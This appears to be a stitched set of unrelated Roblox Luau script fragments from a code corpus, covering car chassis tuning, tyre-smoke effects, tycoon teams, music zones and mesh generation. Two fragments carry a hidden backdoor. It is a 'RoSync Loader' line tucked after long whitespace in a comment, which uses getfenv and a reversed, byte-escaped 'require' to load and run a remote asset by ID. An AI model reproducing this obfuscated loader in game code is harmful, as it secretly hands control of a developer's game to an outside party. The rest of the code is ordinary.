Roblox/luau_corpus huggingface dataset:
--This script controls the tyre mark sounds and effects like the skid marks and smoke.

car.DriveSeat.ChildRemoved:connect(function(child)
	if child.Name=="SeatWeld" then
		car.Wheels.RL.SQ.TimeScript.Disabled = true
		car.Wheels.RL.SQ.PitchScript.Disabled = true
		car.Wheels.RR.SQ.TimeScript.Disabled = true
		car.Wheels.RR.SQ.PitchScript.Disabled = true
		car.Wheels.RL.SQ.TimePosition = 0
		car.Wheels.RL.SQ.Pitch = 0
		car.Wheels.RR.SQ.TimePosition = 0
		car.Wheels.RR.SQ.Pitch = 0
		car.Wheels.RL.Smoke.Rate=0
		car.Wheels.RR.Smoke.Rate=0
	end
end)

while wait(.2) do
	local r1 = Ray.new(car.Wheels.RL.Position,(car.Wheels.RL.Arm.CFrame*CFrame.Angles(-math.pi/2,0,0)).lookVector*(car.Wheels.RL.Size.x/1.2))
	local r1hit = 0
	if workspace:FindPartOnRay(r1,car)~=nil then r1hit=1 end

	local r2 = Ray.new(car.Wheels.RL.Position,(car.Wheels.RR.Arm.CFrame*CFrame.Angles(-math.pi/2,0,0)).lookVector*(car.Wheels.RR.Size.x/1.2))
	local r2hit = 0
	if workspace:FindPartOnRay(r2,car)~=nil then r2hit=1 end
	
	local rl = math.min((math.max(math.abs((car.Wheels.RL.RotVelocity.Magnitude*car.Wheels.RL.Size.x/2) - (car.Wheels.RL.Velocity.Magnitude))-20,0)),50)*r1hit*1.2
	local rr = math.min((math.max(math.abs((car.Wheels.RR.RotVelocity.Magnitude*car.Wheels.RR.Size.x/2) - (car.Wheels.RR.Velocity.Magnitude))-20,0)),50)*r2hit*1.2
	car.Wheels.RL.Smoke.Rate = rl
	car.Wheels.RR.Smoke.Rate = rr
	
	if rl > 1 then
		car.Wheels.RL.SQ.TimeScript.Disabled = false
		car.Wheels.RL.SQ.PitchScript.Disabled = false
		car.Wheels.RL.WheelFixed.Mark.Trail.Enabled = true
		car.Wheels.RL.WheelFixed.Mark2.Trail.Enabled = true
		
	end
	if rl < 1 then
		car.Wheels.RL.SQ.TimeScript.Disabled = true
		car.Wheels.RL.SQ.PitchScript.Disabled = true
		car.Wheels.RL.WheelFixed.Mark.Trail.Enabled = false
		car.Wheels.RL.SQ.Pitch = 0
		car.Wheels.RL.SQ.TimePosition = 0
		car.Wheels.RL.WheelFixed.Mark2.Trail.Enabled = false
	end
	if rr > 1 then
		car.Wheels.RR.SQ.TimeScript.Disabled = false
		car.Wheels.RR.SQ.PitchScript.Disabled = false
		
		car.Wheels.RR.WheelFixed.Mark2.Trail.Enabled = true
	car.Wheels.RR.WheelFixed.Mark.Trail.Enabled = true
	end
	if rr < 1 then
		car.Wheels.RR.SQ.TimeScript.Disabled = true
		car.Wheels.RR.SQ.PitchScript.Disabled = true
		car.Wheels.RR.SQ.Pitch = 0
		car.Wheels.RR.SQ.TimePosition = 0
		car.Wheels.RR.WheelFixed.Mark.Trail.Enabled = false
		car.Wheels.RR.WheelFixed.Mark2.Trail.Enabled = false
	end
	
	
	
end
--Realistic Downforce 2.0--
--//INSPARE//--
--Downforce based on angle--
while true do
	wait()
	speed = script.Parent.Parent.Velocity.magnitude
	script.Parent.force = Vector3.new(0, script.Parent.Parent.CFrame.lookVector.Y*(20*speed), 0)
end
-----------------------------------

ba=Instance.new("Part")
ba.CastShadow = false
ba.TopSurface=0
ba.BottomSurface=0
ba.Anchored=false
ba.CanCollide=false
ba.formFactor="Custom"
ba.Size=Vector3.new(1,0.1,1)
ba.CFrame=CFrame.new(script.Parent.CFrame.p)*CFrame.fromEulerAnglesXYZ(math.pi/2,0,0)
ba.Name="Effect"
ba.BrickColor=BrickColor.new "White"
ao=script.RingMesh:clone()
ao.Parent = ba
local fade = script.RingFade:Clone()
fade.Parent = ba
fade.Disabled = false
ba.Parent=script.Parent

fo=Instance.new("BodyPosition")
fo.maxForce= Vector3.new (99999999999999999,99999999999999999,99999999999999999)
fo.position = ba.Position
fo.Parent = ba
aa=Instance.new("BodyAngularVelocity")
aa.P=3000
aa.maxTorque=aa.maxTorque*30
aa.angularvelocity=Vector3.new(math.random(-70,70)/3,math.random(-70,70)/3,math.random(-70,70)/5)*100
aa.Parent=ba
--run this first so if there is a 'white' team it is switched over
if not Settings['AutoAssignTeams'] then
	local teamHire = Instance.new('Team', Teams)
	teamHire.TeamColor = BC.new('White')
	teamHire.Name = "For Hire"
end

for i,v in pairs(script.Parent:WaitForChild('Tycoons'):GetChildren()) do
	Tycoons[v.Name] = v:Clone() -- Store the tycoons then make teams depending on the tycoon names
	if returnColorTaken(v.TeamColor) then
		--//Handle duplicate team colors
		local newColor;
		repeat
			wait()
			newColor = BC.Random()
		until returnColorTaken(newColor) == false
		v.TeamColor.Value = newColor
	end
	--Now that there are for sure no duplicates, make your teams
	local NewTeam = Instance.new('Team',Teams)
	NewTeam.Name = v.Name
	NewTeam.TeamColor = v.TeamColor.Value
	if not Settings['AutoAssignTeams'] then
		NewTeam.AutoAssignable = false
	end
	v.PurchaseHandler.Disabled = false
end

function getPlrTycoon(player)
	for i,v in pairs(script.Parent.Tycoons:GetChildren()) do
		if v:IsA("Model") then
			if v.Owner.Value == player then
				return v
			end
		end
	end
	return nil
end

game.Players.PlayerAdded:connect(function(player)
	local plrStats = Instance.new("NumberValue",game.ServerStorage.PlayerMoney)
	plrStats.Name = player.Name
	local isOwner = Instance.new("ObjectValue",plrStats)
	isOwner.Name = "OwnsTycoon"
end)

game.Players.PlayerRemoving:connect(function(player)
	local plrStats = game.ServerStorage.PlayerMoney:FindFirstChild(player.Name)
	if plrStats ~= nil then
		plrStats:Destroy()
	end
	local tycoon = getPlrTycoon(player)
	if tycoon then
		local backup = Tycoons[tycoon.Name]:Clone()
		tycoon:Destroy()
		wait()
		backup.Parent=script.Parent.Tycoons
	end
end)
--[[ Last synced 10/19/2020 07:14                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[                                                                                                  ]]--
--[[ UI FUNCTION ]]--

local function AddUI(pl)
	script.SoftShutdown:Clone().Parent = pl:WaitForChild("PlayerGui")
	local PlayerGui = pl:WaitForChild("PlayerGui")
	local Frame = PlayerGui:WaitForChild("SoftShutdown").Frame
	Frame:TweenPosition(UDim2.new(0,0,0,0),"In","Quad",.5,true)
end
-----------------------------------------
while true do -- Makes a loop
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)
brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D
wait (time)

brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy
wait (time)
end
--- Gamepass purchase prompted!
_L.Services.MarketplaceService.PromptGamePassPurchaseFinished:Connect(function(player, gamepassId, purchased)
	if player then
		--- Did player complete transaction?
		if purchased == true then
			--- Player bought gamepass! WHAT A MASSIVE LEGEND
			AddGamepass(player, gamepassId)
			
			--- Let client know purchase went through
			_L.Network.Fire("Gamepass Bought", player, gamepassId)
		end
	end
end)
--// Aim|Zoom|Sensitivity Customization
	ZoomSpeed = 0.25; -- The lower the number the slower and smoother the tween
	AimZoom = 35; -- Default zoom
	AimSpeed = 0.45;
	UnaimSpeed = 0.35;
	CycleAimZoom = 35; -- Cycled zoom
	MouseSensitivity = 0.5; -- Number between 0.1 and 1
	SensitivityIncrement = 0.05; -- No touchy
--[=[
	`Start` is called when the component is started. At this point in time, it
	is safe to grab other components also bound to the same instance.

	```lua
	local MyComponent = Component.new({Tag = "MyComponent"})
	local AnotherComponent = require(somewhere.AnotherComponent)

	function MyComponent:Start()
		-- e.g., grab another component:
		local another = self:GetComponent(AnotherComponent)
	end
	```
]=]
function Component:Start()
end
--	local player = Players.LocalPlayer -- локальный игрок
	-- print("Develop 1")
	game:GetService("MarketplaceService"):PromptProductPurchase(localPlayer,id) -- выполнение запроса покупки	
	-- print("Develop 2")
end)

while true do
	wait()
	dev = plr:FindFirstChild("Develop")
	if dev ~= nil then
		-- warn(dev," found")
		local id=script.Name
		tmp = dev:FindFirstChild(id)
		if tmp ~= nil then
			-- warn(tmp," found")
			act=script.Parent.Activat
			osTime= os.time()
			-- warn("====>>>>",osTime,"{}",tmp.Value)
			if osTime > tmp.Value then
				act.Text = "not active"
				act.TextColor3 = Color3.fromRGB(127,127,127)
			else
				tt= tmp.Value-osTime
				mm = math.floor(tt/60)
				if mm < 10 then
					mm = "0" .. tostring(mm)
				else
					mm = tostring(mm)
				end
				ss = math.fmod(tt,60)
				if ss < 10 then
					ss = "0" .. tostring(ss)
				else
					ss = tostring(ss)
				end
				act.Text = "Activated [" .. mm .. ":" .. ss  .. "]"
				act.TextColor3 = Color3.fromRGB(255,127,0)
			end
		end
	end
end
-- local SNAPSHOT_VERSION_WARNING = chalk.yellow(
-- 	chalk.bold('Warning') .. ": Before you upgrade snapshots, " ..
-- 	"we recommend that you revert any local changes to tests or other code, " ..
-- 	"to ensure that you do not store invalid state."
-- )

local normalizeNewLines, deepMerge

local function writeSnapshotVersion()
	return "-- Jest Roblox Snapshot v" .. SNAPSHOT_VERSION .. ", " .. SNAPSHOT_GUIDE_LINK
end
--now, load the zone & music data into the script

local zones = {}
local music = {}
local globali

if settings.UseMusicZones == true then
	for i,zone in pairs(zonesfolder:GetChildren()) do
		if zone:IsA("Model") and zone:FindFirstChild("Music") then
			music[i] = {}
			for _,sound in pairs(zone.Music:GetChildren()) do --save all of the music data for this zone
				if sound:IsA("Sound") then
					table.insert(music[i], {["SoundId"] = sound.SoundId, ["Volume"] = sound.Volume, ["Pitch"] = sound.Pitch})
				end
			end

			zones[i] = {
				["Priority"] = zone:FindFirstChild("Priority") and zone.Priority.Value or 1,
				["Parts"] = {},
				["Music"] = music[i]
			}

			for _,part in pairs(zone:GetChildren()) do
				if part:IsA("Part") then

					if IsCleanRotation({part.Rotation.X,part.Rotation.Y,part.Rotation.Z}) == true then --store the min and max X/Y/Z position coordinates of this part
						local lx,ly,lz = math.huge,math.huge,math.huge
						local mx,my,mz = -math.huge,-math.huge,-math.huge
						local function ApplyValues(p)
							if p.x < lx then lx = p.x end
							if p.x > mx then mx = p.x end
							if p.y < ly then ly = p.y end
							if p.y > my then my = p.y end
							if p.z < lz then lz = p.z end
							if p.z > mz then mz = p.z end
						end
						local points = {}
						--a bunch of sloppy math stuff to calculate the coordinates on each of the part's faces so we can figure out the min and max values. mathematicians, pls don't kill me if i'm doing this terribly
						local cf1 = part.CFrame
						local cf2 = (part.CFrame * CFrame.Angles(0,math.pi/2,0))
						local cf3 = (part.CFrame * CFrame.Angles(math.pi/2,0,0))
						local lvz = (cf1.lookVector * (part.Size.Z/2))
						local lvx = (cf2.lookVector * (part.Size.X/2))
						local lvy = (cf3.lookVector * (part.Size.Y/2))
						points[1] = cf1+lvz
						points[2] = cf1-lvz
						points[3] = cf2+lvx
						points[4] = cf2-lvx
						points[5] = cf3+lvy
						points[6] = cf3-lvy
						for _,p in pairs(points) do
							ApplyValues(p)
						end 
						table.insert(zones[i]["Parts"],{["Coordinates"] = {lx=lx,ly=ly,lz=lz, mx=mx,my=my,mz=mz}})
					else --save a reference to the part itself to be used for GetTouchingParts(), since it has a complex rotation that can't be solved with my own feeble calculations
						table.insert(zones[i]["Parts"],{["Part"] = part})
					end

				end
			end
		end
	end
end

if settings.UseGlobalBackgroundMusic == true then
	globali = #music + 1
	music[globali] = {}
	for _,sound in pairs(globalfolder:GetChildren()) do
		if sound:IsA("Sound") then
			table.insert(music[globali], {["SoundId"] = sound.SoundId, ["Volume"] = sound.Volume, ["Pitch"] = sound.Pitch})
		end
	end
end
--[[Brakes]]
	Tune.ABSEnabled		= true		-- Implements ABS
	Tune.ABSThreshold	= 20		-- Slip speed allowed before ABS starts working (in SPS) 

	Tune.FBrakeForce	= 1500		-- Front brake force
	Tune.RBrakeForce	= 1000		-- Rear brake force
	Tune.PBrakeForce	= 10000		-- Handbrake force
	
	Tune.FLgcyBForce	= 15000		-- Front brake force [PGS OFF]
	Tune.RLgcyBForce	= 10000		-- Rear brake force [PGS OFF]
	Tune.LgcyPBForce	= 25000		-- Handbrake force [PGS OFF]
--[=[
	Constructs a new AccelTween.

	```lua
	local accelTween = AccelTween.new(30)
	accelTween.t = 1

	conn = RunService.RenderStepped:Connect(function()
		print(accelTween.p)
	end)
	task.delay(accelTween.rtime, function()
		conn:Disconnect()
	end)
	```

	@param maxaccel number? -- The maximum acceleration applied to reach its target. Defaults to 1
	@return AccelTween
]=]
function AccelTween.new(maxaccel)
	local self = setmetatable({
		_accel = maxaccel or 1;
		_t0 = 0;
		_y0 = 0;
		_a0 = 0;
		_t1 = 0;
		_y1 = 0;
		_a1 = 0;
	}, AccelTween)

	return self
end
-- Returns the names of the winner(s) according to most points scored
function PlayerManager.getWinnerNames()
	if #activePlayers >= 1 then
		local topScore = -1
		local winnerNames = {}
		
		for i, player in pairs(activePlayers) do
			local playerScore = leaderboardManager:getStat(player, "Points").Value 
			if playerScore then
				if playerScore > topScore then
					winnerNames = {player.Name}
				elseif playerScore == topScore then
					table.insert(winnerNames, player.Name)
				end
			end
		end
		
		return winnerNames
	else
		return {}	
	end
end
-- requires luaP, luaX, luaY
local luaK = {}
local luaP = require(script.Parent.LuaP)
local luaX = require(script.Parent.LuaX)
--!strict
local Players = game:GetService("Players")

local NAME_COLORS =
	{
		Color3.new(253/255, 41/255, 67/255), -- BrickColor.new("Bright red").Color,
		Color3.new(1/255, 162/255, 255/255), -- BrickColor.new("Bright blue").Color,
		Color3.new(2/255, 184/255, 87/255), -- BrickColor.new("Earth green").Color,
		BrickColor.new("Bright violet").Color,
		BrickColor.new("Bright orange").Color,
		BrickColor.new("Bright yellow").Color,
		BrickColor.new("Light reddish violet").Color,
		BrickColor.new("Brick yellow").Color,
	}

local function GetNameValue(pName: string)
	local value = 0
	
	for index = 1, #pName do
		local cValue = string.byte(string.sub(pName, index, index))
		local reverseIndex = #pName - index + 1
		
		if #pName % 2 == 1 then
			reverseIndex = reverseIndex - 1
		end
		
		if reverseIndex % 4 >= 2 then
			cValue = -cValue
		end
		
		value += cValue
	end
	
	return value
end

local color_offset = 0

local function ComputeNameColor(pName)
	return NAME_COLORS[((GetNameValue(pName) + color_offset) % #NAME_COLORS) + 1]
end

local function GetNameColor(userId: number): Color3
	local player: Player = Players:GetPlayerByUserId(userId)
	
	return ComputeNameColor(player.Name)
end

return GetNameColor
--[[Weight and CG]]
	Tune.Weight			= 2800		-- Total weight (in pounds)
	Tune.WeightBSize	= {			-- Size of weight brick (dimmensions in studs ; larger = more stable)
	 --[[Width]]		6		,
	 --[[Height]]		3.5		,
	 --[[Length]]		14		}
	Tune.WeightDist		= 50		-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
	Tune.CGHeight		= .8		-- Center of gravity height (studs relative to median of all wheels)
	Tune.WBVisible		= false		-- Makes the weight brick visible
	
	--Unsprung Weight
	Tune.FWheelDensity	= .1		-- Front Wheel Density
	Tune.RWheelDensity	= .1		-- Rear Wheel Density
	Tune.FWLgcyDensity	= 1			-- Front Wheel Density [PGS OFF]
	Tune.RWLgcyDensity	= 1			-- Rear Wheel Density [PGS OFF]
	
	Tune.AxleSize		= 2			-- Size of structural members (larger = more stable/carry more weight)
	Tune.AxleDensity	= .1		-- Density of structural members
-- MODULES --
local numShorten = require(Modules.UIModules.NumberShorten)
--[[ Last synced 4/18/2021 05:43                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
-- VERTICE FUNCTIONS

local function fromIndexArray(array)
	local output = {}
	for i = 1, #array do
		output[i] = CORNERS[array[i]]
	end
	return output
end

local function cylinder(n)
	local output = {}
	local arc = PI2 / n
	for i = 1, n do
		local vi = CFrame.fromAxisAngle(RIGHT, i*arc) * UP
		output[i] = RIGHT + vi
		output[n + i] = LEFT + vi
	end
	return output
end

local function icoSphere(n)
	local verts = {
		Vector3.new(-1,  PHI, 0),
		Vector3.new(1,  PHI, 0),
		Vector3.new(-1, -PHI, 0),
		Vector3.new(1, -PHI, 0),
		
		Vector3.new(0, -1,  PHI),
		Vector3.new(0,  1,  PHI),
		Vector3.new(0, -1, -PHI),
		Vector3.new(0,  1, -PHI),
		
		Vector3.new(PHI, 0, -1),
		Vector3.new(PHI, 0,  1),
		Vector3.new(-PHI, 0, -1),
		Vector3.new(-PHI, 0,  1)
	}
	
	local indices = {
		1, 12, 6,
		1, 6, 2,
		1, 2, 8,
		1, 8, 11,
		1, 11, 12,
		
		2, 6, 10,
		6, 12, 5,
		12, 11, 3,
		11, 8, 7,
		8, 2, 9,
		
		4, 10, 5,
		4, 5, 3,
		4, 3, 7,
		4, 7, 9,
		4, 9, 10,
		
		5, 10, 6,
		3, 5, 12,
		7, 3, 11,
		9, 7, 8,
		10, 9, 2
	}
	
	local splits = {}
	
	local function split(i, j)
		local key = i < j and (i .. "," .. j) or (j .. "," .. i)
		
		if (not splits[key]) then
			verts[#verts+1] = (verts[i] + verts[j]) / 2
			splits[key] = #verts
		end
		
		return splits[key]
	end
	
	for _ = 1, n do
		for  i = #indices, 1, -3 do
			local v1, v2, v3 = indices[i - 2], indices[i - 1], indices[i]
			local a = split(v1, v2)
			local b = split(v2, v3)
			local c = split(v3, v1)
			
			indices[#indices+1] = v1
			indices[#indices+1] = a
			indices[#indices+1] = c
			
			indices[#indices+1] = v2
			indices[#indices+1] = b
			indices[#indices+1] = a
			
			indices[#indices+1] = v3
			indices[#indices+1] = c
			indices[#indices+1] = b
			
			indices[#indices+1] = a
			indices[#indices+1] = b
			indices[#indices+1] = c
			
			table.remove(indices, i)
			table.remove(indices, i - 1)
			table.remove(indices, i - 2)
		end
	end
	
	-- normalize
	for i = 1, #verts do
		verts[i] = verts[i].Unit
	end
	
	return verts
end
--!strict
-- this event fires every frame if the speed is higher then 0. can use alot of resources depending on what you write here.

return function (system, particleRef)
	warn("Particle Position Changed, Info Follows")
	warn("CFrame:", particleRef.CFrame)
	warn("Color:", particleRef.Color)
	warn("Children:", particleRef.Children)
end
-- PLACE THIS SCRIPT INTO STARTERPLAYERSCRIPTS


UserInputService = game:GetService("UserInputService")
RunService = game:GetService("RunService")
-- declarations

local sDied = newSound("")
local sFallingDown = newSound("")
local sFreeFalling = newSound("")
local sGettingUp = newSound("")
local sJumping = newSound("")
local sRunning = newSound("")
sRunning.Looped = true

local Figure = script.Parent
local Head = waitForChild(Figure, "Head")
local Humanoid = waitForChild(Figure, "Humanoid")
---- []
Body.DescendantAdded:Connect(function(descend)
	
	spawn(function()
		if descend:IsA("Tool") then
			TurnCharacterToMouse = true
		end
	end)
	
end)
Body.DescendantRemoving:Connect(function(descend)
	
	spawn(function()
		if descend:IsA("Tool") then
			TurnCharacterToMouse = false
		end
	end)
	
end)
--[[Engine]]
	--Torque Curve
	Tune.Horsepower		= 370		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 700		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 6000		--		Use sliders to manipulate values
	Tune.Redline		= 6700		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 5500
	Tune.PeakSharpness	= 7.5
	Tune.CurveMult		= 0.16
	
	--Incline Compensation
	Tune.InclineComp	= 4.7			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
	
	--Misc
	Tune.RevAccel		= 150		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.ClutchTol		= 500		-- Clutch engagement threshold (higher = faster response)
--[[ Constants ]]--
local TOUCH_CONTROL_SHEET = "rbxasset://textures/ui/Input/TouchControlsSheetV2.png"
--Run
local ver=require(car["A-Chassis Tune"].README)
print("//INSPARE: AC6 Loaded - Build "..ver)

while wait() do 
	Steering()
	Engine()
	if _Tune.AutoFlip then Flip() end
	
	_IsOn = script.Parent.IsOn.Value
	_InControls = script.Parent.ControlsOpen.Value
	script.Parent.Values.Gear.Value = _CGear
	script.Parent.Values.RPM.Value = _RPM
	script.Parent.Values.Horsepower.Value = _HP
	script.Parent.Values.Torque.Value = _HP * 5250 / _RPM
	script.Parent.Values.TransmissionMode.Value = _TMode
	script.Parent.Values.Throttle.Value = _GThrot
	script.Parent.Values.Brake.Value = _GBrake
	script.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-_Tune.MinSteer))
	script.Parent.Values.SteerT.Value = _GSteerT
	script.Parent.Values.PBrake.Value = _PBrake
	script.Parent.Values.TCS.Value = _TCS
	script.Parent.Values.TCSActive.Value = _TCSActive
	script.Parent.Values.Velocity.Value = car.DriveSeat.Velocity
	
	if _PGear~=_CGear then
		_PGear=_CGear
		car.DriveSeat.MaxSpeed = car.DriveSeat.Velocity.Magnitude*(_Tune.Redline/_RPM)
	end
end